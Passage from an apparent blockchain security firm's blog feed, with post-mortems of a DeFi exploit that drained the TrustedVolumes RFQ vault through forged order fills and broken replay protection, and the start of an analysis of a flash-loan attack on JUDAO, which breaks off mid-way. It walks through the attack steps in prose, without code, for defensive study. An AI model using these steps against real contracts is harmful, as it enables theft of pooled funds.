https://substackcdn.com/image/fetch/$s_!llIw!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2ef124a-d397-49a4-abb5-b356ade8b46f_1453x567.png 848w, https://substackcdn.com/image/fetch/$s_!llIw!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2ef124a-d397-49a4-abb5-b356ade8b46f_1453x567.png 1272w, https://substackcdn.com/image/fetch/$s_!llIw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2ef124a-d397-49a4-abb5-b356ade8b46f_1453x567.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Step 2 - Approve a nominal amount.</strong> The exploit contract approved 4 wei of USDC to the RFQ proxy. This was enough to pass any basic sanity check on the taker-payment side of the fill.</p><p><strong>Step 3 - Forge four fills.</strong> Back to the attack transaction: the attacker called fill-order four times in a single tx, once per token (WETH, USDT, WBTC, USDC). Each order was crafted with:</p><ul><li><p><code>inventory</code> set to TrustedVolumes&#8217; vault (<a href="https://etherscan.io/address/0x9bA0CF1588E1DFA905eC948F7FE5104dD40EDa31">0x9bA0CF1588E1DFA905eC948F7FE5104dD40EDa31</a>).</p></li><li><p><code>receiver</code> set to the exploit contract.</p></li><li><p>Signed by the attacker&#8217;s registered EOA.</p></li></ul><p>The authorization check - <code>allowedOrderSigner[order.receiver][signer]</code> - passed, because the signer was registered for the exploit contract as receiver. But the <code>transferFrom</code> pulled tokens from <code>order.inventory</code>, which was TrustedVolumes&#8217; vault. The check and the token source referred to completely different addresses.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!uX5F!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8117d279-1135-4685-8dee-bfa7713f966b_888x818.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!uX5F!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8117d279-1135-4685-8dee-bfa7713f966b_888x818.png 424w, https://substackcdn.com/image/fetch/$s_!uX5F!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8117d279-1135-4685-8dee-bfa7713f966b_888x818.png 848w, https://substackcdn.com/image/fetch/$s_!uX5F!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8117d279-1135-4685-8dee-bfa7713f966b_888x818.png 1272w, https://substackcdn.com/image/fetch/$s_!uX5F!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8117d279-1135-4685-8dee-bfa7713f966b_888x818.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!uX5F!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8117d279-1135-4685-8dee-bfa7713f966b_888x818.png" width="888" height="818" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8117d279-1135-4685-8dee-bfa7713f966b_888x818.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:818,&quot;width&quot;:888,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:117016,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/198240339?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8117d279-1135-4685-8dee-bfa7713f966b_888x818.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!uX5F!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8117d279-1135-4685-8dee-bfa7713f966b_888x818.png 424w, https://substackcdn.com/image/fetch/$s_!uX5F!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8117d279-1135-4685-8dee-bfa7713f966b_888x818.png 848w, https://substackcdn.com/image/fetch/$s_!uX5F!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8117d279-1135-4685-8dee-bfa7713f966b_888x818.png 1272w, https://substackcdn.com/image/fetch/$s_!uX5F!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8117d279-1135-4685-8dee-bfa7713f966b_888x818.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Normally, filling the same order twice would fail on replay protection. But the implementation read the fill status from one storage key and wrote it to a different key. The order was never actually marked as filled. All four drains - WETH, USDT, WBTC, USDC - executed without issue.</p><p><strong>Step 4 - Exfiltrate.</strong> The exploit contract forwarded all stolen assets to the attacker&#8217;s EOA. Each fill sent 1 wei USDC back to TrustedVolumes as nominal &#8220;payment.&#8221;</p><p>The entire operation completed in one Ethereum block.</p><h2><strong>Conclusion</strong></h2><ol><li><p><strong>Permissionless signer registration</strong>: <code>registerAllowedOrderSigner</code> had no access control, allowing any address to register an arbitrary EOA as a valid signer for itself as receiver.</p></li><li><p><strong>Authorization/source mismatch in fill-order</strong>: The signer validity check used <code>order.receiver</code> as the authorization scope, while the token pull used <code>order.inventory</code> as the source. These two fields were independently attacker-controlled, breaking the assumed coupling between &#8220;who authorized the order&#8221; and &#8220;whose funds are being moved.&#8221;</p></li><li><p><strong>Broken replay protection</strong>: The order fill-status check read from a different storage slot than the write, meaning no order was ever durably marked as filled. The same forged order could execute multiple times within a single transaction.</p></li><li><p><strong>Unlimited approvals on inventory</strong>: The vault held unlimited ERC-20 approvals to the proxy for all major assets. While a common market-maker pattern for speed, it maximized the blast radius once the above bugs were exploited.</p></li></ol><p>The combination of these flaws meant that any external actor could drain the entire inventory vault in a single transaction with no prior permissions or capital. Restricting <code>registerAllowedOrderSigner</code> to the maker alone, and binding the authorization check to the same address as the token source, would each independently have prevented the exploit. The absence of public audits and unverified contract bytecode made external detection impossible before the attack.</p>]]></content:encoded></item><item><title><![CDATA[JUDAO HACK ANALYSIC]]></title><description><![CDATA[JUDAO is a decentralized finance (DeFi) project deployed on the BNB Smart Chain (BSC), offering token-based financial services through its on-chain liquidity and trading ecosystem.]]></description><link>https://blog.verichains.io/p/judao-hack-analysic</link><guid isPermaLink="false">https://blog.verichains.io/p/judao-hack-analysic</guid><dc:creator><![CDATA[LCD]]></dc:creator><pubDate>Tue, 12 May 2026 07:01:08 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!z5V8!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6408e360-4047-4a62-b1ac-7a0598ba2881_1072x615.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>JUDAO</strong> is a decentralized finance (DeFi) project deployed on the <strong>BNB Smart Chain (BSC)</strong>, offering token-based financial services through its on-chain liquidity and trading ecosystem. On April 28, 2026, <strong>JUDAO</strong> on the <strong>BSC chain</strong> was exploited in an attack that resulted in an estimated loss of approximately <strong>$228,000</strong> at the time of the incident. The exploit appears to have involved a <strong>flash loan attack</strong> that manipulated the liquidity pair reserves, allowing the attacker to extract profit through distorted pricing.</p><h1>Overview</h1><p>Attacker: <a href="https://bscscan.com/address/0x5384b34c74024d6563b323351a4bbfa18432161b">0x5384B34C74024d6563B323351a4bBFA18432161B</a></p><p>Attacker&#8217;s contract 1: <a href="https://bscscan.com/address/0x3b9bc53af5012b12b6886a665bb22382211ae432">0x3B9bc53Af5012b12B6886a665Bb22382211aE432</a></p><p>Attacker&#8217;s contract 2: <a href="https://bscscan.com/address/0x3b9bc53af5012b12b6886a665bb22382211ae432">0x3B9bc53Af5012b12B6886a665Bb22382211aE432</a></p><p>JUDAO token: <a href="https://bscscan.com/address/0xf55dff7898930a2d28cdbc39d615b1624ac86888">0xf55DFF7898930a2D28cDbC39D615b1624ac86888</a></p><p>Vulnerable contract: <a href="https://bscscan.com/address/0x5d7b61e91cb59e90f7fae8d0fe2e73976161592f">0x5D7b61e91cB59E90f7fAE8d0FE2e73976161592F</a></p><p>Hack transaction: <a href="https://bscscan.com/tx/0x956e38b8ddb40ba080c8042c685ae52ee5c1b096f1d7f0c4a6c59be3eb4265bd">0x956e38b8ddb40ba080c8042c685ae52ee5c1b096f1d7f0c4a6c59be3eb4265bd</a></p><h1>Analysis</h1><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!z5V8!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6408e360-4047-4a62-b1ac-7a0598ba2881_1072x615.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!z5V8!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6408e360-4047-4a62-b1ac-7a0598ba2881_1072x615.png 424w, https://substackcdn.com/image/fetch/$s_!z5V8!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6408e360-4047-4a62-b1ac-7a0598ba2881_1072x615.png 848w, https://substackcdn.com/image/fetch/$s_!z5V8!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6408e360-4047-4a62-b1ac-7a0598ba2881_1072x615.png 1272w, https://substackcdn.com/image/fetch/$s_!z5V8!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6408e360-4047-4a62-b1ac-7a0598ba2881_1072x615.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!z5V8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6408e360-4047-4a62-b1ac-7a0598ba2881_1072x615.png" width="1072" height="615" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6408e360-4047-4a62-b1ac-7a0598ba2881_1072x615.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:615,&quot;width&quot;:1072,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:235034,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/197298687?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6408e360-4047-4a62-b1ac-7a0598ba2881_1072x615.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!z5V8!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6408e360-4047-4a62-b1ac-7a0598ba2881_1072x615.png 424w, https://substackcdn.com/image/fetch/$s_!z5V8!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6408e360-4047-4a62-b1ac-7a0598ba2881_1072x615.png 848w, https://substackcdn.com/image/fetch/$s_!z5V8!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6408e360-4047-4a62-b1ac-7a0598ba2881_1072x615.png 1272w, https://substackcdn.com/image/fetch/$s_!z5V8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6408e360-4047-4a62-b1ac-7a0598ba2881_1072x615.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>At the beginning of the attack, the attacker deployed two nested contracts and granted unlimited token approvals to both the PancakeSwap Router and the Moolad Proxy. The attacker then obtained a flash loan of approximately $2.3 million in USDT, swapped the funds for roughly 5.5 million JUDAO tokens, and immediately sold the acquired JUDAO tokens.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Abh1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1d06502e-214c-4da7-972a-66a5352e29ef_1819x552.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Abh1!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1d06502e-214c-4da7-972a-66a5352e29ef_1819x552.png 424w, https://substackcdn.com/image/fetch/$s_!Abh1!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1d06502e-214c-4da7-972a-66a5352e29ef_1819x552.png 848w, https://substackcdn.com/image/fetch/$s_!Abh1!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1d06502e-214c-4da7-972a-66a5352e29ef_1819x552.png 1272w, https://substackcdn.com/image/fetch/$s_!Abh1!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1d06502e-214c-4da7-972a-66a5352e29ef_1819x552.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Abh1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1d06502e-214c-4da7-972a-66a5352e29ef_1819x552.png" width="1456" height="442" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1d06502e-214c-4da7-972a-66a5352e29ef_1819x552.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:442,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:297464,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/197298687?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1d06502e-214c-4da7-972a-66a5352e29ef_1819x552.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Abh1!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1d06502e-214c-4da7-972a-66a5352e29ef_1819x552.png 424w, https://substackcdn.com/image/fetch/$s_!Abh1!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1d06502e-214c-4da7-972a-66a5352e29ef_1819x552.png 848w, https://substackcdn.com/image/fetch/$s_!Abh1!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1d06502e-214c-4da7-972a-66a5352e29ef_1819x552.png 1272w, https://substackcdn.com/image/fetch/$s_!Abh1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1d06502e-214c-4da7-972a-66a5352e29ef_1819x552.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Everything appeared normal at first, until we noticed an unusual inconsistency:</p><ul><li><p>At step 29, approximately $2.3 million USDT was swapped for around 5.5 million JUDAO tokens.</p></li><li><p>At step 237, approximately 5.3 million JUDAO tokens were swapped back for nearly $2.6 million USDT.</p></li></ul><p>This immediately revealed a critical anomaly: the attacker was able to swap fewer JUDAO tokens for a larger amount of USDT, indicating that the liquidity pair reserves or pricing mechanism had been manipulated.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!uSaa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bd9d0cf-ba7f-464c-a242-f8206593a2ed_1356x720.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!uSaa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bd9d0cf-ba7f-464c-a242-f8206593a2ed_1356x720.png 424w, https://substackcdn.com/image/fetch/$s_!uSaa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bd9d0cf-ba7f-464c-a242-f8206593a2ed_1356x720.png 848w, https://substackcdn.com/image/fetch/$s_!uSaa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bd9d0cf-ba7f-464c-a242-f8206593a2ed_1356x720.png 1272w, https://substackcdn.com/image/fetch/$s_!uSaa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bd9d0cf-ba7f-464c-a242-f8206593a2ed_1356x720.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!uSaa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bd9d0cf-ba7f-464c-a242-f8206593a2ed_1356x720.png" width="1356" height="720" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6bd9d0cf-ba7f-464c-a242-f8206593a2ed_1356x720.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:720,&quot;width&quot;:1356,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:352961,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/197298687?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bd9d0cf-ba7f-464c-a242-f8206593a2ed_1356x720.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!uSaa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bd9d0cf-ba7f-464c-a242-f8206593a2ed_1356x720.png 424w, https://substackcdn.com/image/fetch/$s_!uSaa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bd9d0cf-ba7f-464c-a242-f8206593a2ed_1356x720.png 848w, https://substackcdn.com/image/fetch/$s_!uSaa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bd9d0cf-ba7f-464c-a242-f8206593a2ed_1356x720.png 1272w, https://substackcdn.com/image/fetch/$s_!uSaa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bd9d0cf-ba7f-464c-a242-f8206593a2ed_1356x720.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>A closer inspection of the code execution between these steps reveals that the reserve balances of the Cake-LP pool were updated twice prior to the malicious second swap. Notably, both updates retained the same <code>_reserve0</code> value while <code>_reserve1</code> differed between the two states.</p><p>From our perspective, the first reserve update appears to be correct, while the second seems incorrect. This is because the first update reflects a larger <code>_reserve1</code> value, which should represent the actual post-swap reserve state. To understand why two different reserve updates occurred, we need to examine the JUDAO token source code more closely.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!R3UB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F03b79eac-5150-4dca-a834-0a8c19f62208_1368x1276.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" 